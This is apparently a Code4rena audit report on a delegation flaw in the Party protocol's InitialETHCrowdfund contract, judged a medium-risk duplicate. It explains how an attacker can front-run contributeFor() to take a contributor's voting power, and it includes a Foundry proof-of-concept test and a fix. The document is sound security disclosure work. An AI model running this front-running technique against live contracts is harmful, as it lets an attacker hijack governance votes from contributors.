Platform: Code4rena
Start Date: 31/10/2023
Pot Size: $60,500 USDC
Total HM: 9
Participants: 65
Period: 10 days
Judge: gzeon
Total Solo HM: 2
Id: 301
League: ETH
Rank: 26/65
Findings: 1
Award: $235.13
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: TresDelinquentes
Also found by: 0xadrii, 3docSec, klau5, leegh, mahdikarimi, minimalproxy, rvierdiiev
235.1319 USDC - $235.13
https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/InitialETHCrowdfund.sol#L235 https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernanceNFT.sol#L166
When calling contributeFor
a user can contribute ETH for another user and mint him a party card. If the recipient didn't have a delegate
then it will use the delegate
passed by the caller.
If the recipient later on decide to contribute by himself calling contribute()
the delegate
will be updated with the one he passed.
But this update only happens at the InitialETHCrowdfund contract and not at the party level.
The party will only update the delegate
on the first mint and then reuse the internal one every time.
// Use delegate from party over the one set during crowdfund. address delegate_ = delegationsByVoter[owner]; if (delegate_ != address(0)) { delegate = delegate_; }
Eventually if a user wants to change his delegate he will have to call delegateVotingPower()
on the party.
An attacker could frontrun contributions by calling contributeFor()
for the user about to contribute and use the minimum contribution allowed by the party and set himself as delegate
.
This would result in the contribute()
transaction of the user to delegate the new voting power to the attacker and not the passed delegate
.
If users don't check that their delegate voting power increased after contributing, an attacker could grow in voting power and submit malicious proposals once the crowdfunding is over leaving the host veto power as only protection.
Users might be notified and call delegateVotingPower()
to update their delegate
but it'll be too late if the proposal has been submitted as it uses the voting power snapshot taken at the time of the proposal submission.
Here is a POC that can be used in the InitialETHCrowdfund.t.sol
using the command forge test --match-test test_frontrunWithcontributeForToBecomeDelegate
.
function test_frontrunWithcontributeForToBecomeDelegate() public { //setup poc uint96 minimalContribution = 0.01 ether; InitialETHCrowdfund crowdfund = _createCrowdfund( CreateCrowdfundArgs({ initialContribution: 0, initialContributor: payable(address(0)), initialDelegate: address(0), minContributions: minimalContribution, maxContributions: type(uint96).max, disableContributingForExistingCard: false, minTotalContributions: 3 ether, maxTotalContributions: 5 ether, duration: 7 days, exchangeRateBps: 1e4, fundingSplitBps: 0, fundingSplitRecipient: payable(address(0)), gateKeeper: IGateKeeper(address(0)), gateKeeperId: bytes12(0) }) ); Party party = crowdfund.party(); //create address and fund them address attacker = _randomAddress(); address payable recipient = _randomAddress(); vm.deal(attacker, minimalContribution); vm.deal(recipient, 1 ether); // frontrun and contribute for recipient using ourselves as delegate vm.prank(attacker); crowdfund.contributeFor{ value: minimalContribution }(0, recipient, attacker, ""); //recipient got his tokenId and attacker got minimalContribution power delegated to him uint256 tokenId = 1; assertEq(party.ownerOf(tokenId), recipient); assertEq(party.votingPowerByTokenId(tokenId), minimalContribution); assertEq(PartyGovernance(party).getVotingPowerAt(attacker, uint40(block.timestamp)), minimalContribution); assertEq(crowdfund.delegationsByContributor(recipient), attacker); // Recipient tx comes in vm.prank(recipient); address recipientDelegate = _randomAddress(); crowdfund.contribute{ value: 1 ether }(0, recipientDelegate, ""); // Check changes tokenId = 2; assertEq(party.ownerOf(tokenId), recipient); assertEq(party.votingPowerByTokenId(tokenId), 1 ether); // Our attacker delegation increased even tho the recipient didn't want to delegate to us assertEq(PartyGovernance(party).getVotingPowerAt(attacker, uint40(block.timestamp)), minimalContribution + 1 ether); // the crowdfun delegate updated but it didn't impact attacker's voting power assertEq(crowdfund.delegationsByContributor(recipient), recipientDelegate); // recipientDelegate power is 0 assertEq(PartyGovernance(party).getVotingPowerAt(recipientDelegate, uint40(block.timestamp)), 0); }
Manual review.
Update the PartyGovernanceNFT.mint()
function to overwrite the delegate
when the contributor is the msg.sender
in InitialETHCrowdfund_contribute()
.
MEV
#0 - c4-pre-sort
2023-11-12T06:22:41Z
ydspa marked the issue as duplicate of #334
#1 - c4-pre-sort
2023-11-12T06:22:45Z
ydspa marked the issue as insufficient quality report
#2 - c4-judge
2023-11-19T17:28:21Z
gzeon-c4 marked the issue as duplicate of #418
#3 - c4-judge
2023-11-19T17:29:50Z
gzeon-c4 marked the issue as satisfactory
#4 - c4-judge
2023-11-20T18:46:43Z
gzeon-c4 changed the severity to 2 (Med Risk)